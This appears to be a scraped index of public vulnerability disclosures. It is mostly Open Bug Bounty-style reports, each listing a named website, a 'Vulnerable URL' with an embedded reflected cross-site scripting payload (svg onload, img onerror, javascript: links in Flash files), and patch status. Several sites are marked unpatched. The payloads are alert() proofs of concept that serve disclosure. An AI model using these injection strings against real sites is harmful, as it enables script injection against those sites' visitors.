XhP CMS 0.5.1 - Cross-Site Request Forgery Persistent Cross-Site Scripting

XhP CMS 0.5.1 - Cross-Site Request Forgery Persistent Cross-Site Scripting Exploit Title: XhP CMS 0.5.1 - Cross-Site Request Forgery to Persistent Cross-Site Scripting Exploit Author: Ahsan Tahir Date: 19-10-2016 Software Link: https://sourceforge.net/projects/xhp/ Vendor:...

bouldercolorado.gov XSS vulnerability

Vulnerable URL: https://bouldercolorado.gov/search/?q=bob=%3C/script/%27-alert%280%29-%27%22-%22--%3E%3Cimg/onerror=%22;alert%28/OPENBUGBOUNTY/%29;%22src=1%3E%3Cscript/src=data:,alert%28/Ch33Z-PLZ/%29-%22%22/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017...

imm-ouest.com XSS vulnerability

Vulnerable URL: http://www.imm-ouest.com/rechercher.php?typeoperation=1get=60=22min=%22%3E%3C/title%3E%27%3E;%3C/script%3E%3Csvg/onload=alert/OPENBUGBOUNTY/%3Emax=100000=250=Rechercher=rechercher&bien1;=2 Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:|...

tunisianembassy.in XSS vulnerability

Vulnerable URL: http://www.tunisianembassy.in/search.php?q="=Go Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

tabularium.com.br XSS vulnerability

Vulnerable URL: http://tabularium.com.br/home/showpage.php?id= Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 19:04 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:...

filmrssnews.altervista.org XSS vulnerability

Vulnerable URL: http://filmrssnews.altervista.org/cerca.php?q=prompt'OPENBUGBOUNTY'...

jn.house.ifeng.com XSS vulnerability

Vulnerable URL: http://jn.house.ifeng.com/sale/search/21054///1200000000000000000.shtml?keyword="OPENBUGBOUNTY'range="%3E%3Csvg/onload=alert'OPENBUGBOUNTY'%3E// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:|...

inc.com XSS vulnerability

Vulnerable URL: http://www.inc.com/sitemaps?month=x%22%3E%3CsvG%20onLoad=alert%28/openbugbounty/%29%3E=1974 Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:58 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

beefresearch.ca XSS vulnerability

Vulnerable URL: http://www.beefresearch.ca/newsroom/news.cfm?language=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2298289 VIP website status:| No Check beefresearch.ca SSL...

restaurant.paraxyl.com XSS vulnerability

Vulnerable URL: http://www.restaurant.paraxyl.com/table/tableadd.php?tableid=table2=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| N...

rossmann.de XSS vulnerability

Vulnerable URL:...

xredbox.com XSS vulnerability

Vulnerable URL: http://www.xredbox.com/search?q=%22%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

vocaltour.fr XSS vulnerability

Vulnerable URL: http://www.vocaltour.fr/general/recherche/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1502184 VIP website status:| No Check vocaltour.fr SSL connection:| Grade:...

librariesaustralia.nla.gov.au XSS vulnerability

Vulnerable URL: https://librariesaustralia.nla.gov.au/admin Details: Description| Value ---|--- Patched:| Yes, at 10.02.2017 Latest check for patch:| 10.02.2017 03:56 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| N...

yellowgroup.pl XSS vulnerability

Vulnerable URL: http://www.yellowgroup.pl/p/sifr/dxcebold.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

nortontooby.com XSS vulnerability

Vulnerable URL: https://nortontooby.com/sites/default/files/render/gillsansmtstd-medium.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability...

bareminerals.co.uk XSS vulnerability

Vulnerable URL: https://bareminerals.co.uk/on/demandware.static/Sites-BareEscentuals-Site/-/default/dw74bb241d/fonts/archersemibold.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS...

pack704.org XSS vulnerability

Vulnerable URL: http://www.pack704.org/misc/sifr/fonts/hotpizza.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

iii.org.za XSS vulnerability

Vulnerable URL: http://www.iii.org.za/graphitestd-regular.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

auth.lib.unc.edu XSS vulnerability

Vulnerable URL: https://auth.lib.unc.edu/ezproxyauth.php?url=http://portal.acm.org/citation.cfm?id=1047846.1047864=portal=ACM=1047846∂=periodical=periodical=%22%3E%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerabili...